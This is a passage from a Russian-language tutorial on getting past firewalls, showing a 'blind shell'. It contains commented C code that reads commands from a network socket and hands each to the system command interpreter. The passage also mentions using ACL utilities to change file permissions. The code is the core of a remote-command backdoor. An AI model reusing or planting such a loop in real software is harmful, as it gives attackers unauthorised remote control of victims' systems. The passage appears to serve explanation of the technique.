Побег через брандмаузер

Слепой shell


Если разобраться, то для реализации удаленной атаки полноценный shell совсем необязателен и на первых порах можно ограничиться "слепой" передачей команд штатного командного интерпретатора (естественно, с возможностью удаленного запуска различных утилит и в частности утилиты calcs, обеспечивающей управление таблицами управления доступа к файлам).

В простейшем случае shell реализуется приблизительно так:

// мотаем цикл, принимая с сокета команды

// пока есть что принимать

while(1)

{

       // принимаем очередную порцию данных

       a = recv(csocket, &buf[p], MAX_BUF_SIZE - p - 1, 0);

      

       // если соединение неожиданно закрылось выходим из цикла

       if (a < 1) break;

      

       // увеличиваем счетчик кол-ва принятых символов



       // и внедряем на конец строки  завершающий ноль

       p += a; buf[p] = 0;

      

       // строка содержит символ переноса строки?

       if ((ch = strpbrk(buf, xEOL)) != 0)

       {                                                      // да, содержит

              // отсекаем символ переноса и очищаем счетчик

              *ch = 0; p = 0;

                    

                     // если строка не пуста, передаем ее командному

                     // интерпретатору на выполнение

                     if (strlen(buf))

              {

                            sprintf(cmd, "%s%s", SHELL, buf); exec(cmd);

              } else break;        // если это пустая строка - выходим

       }

}



Содержание раздела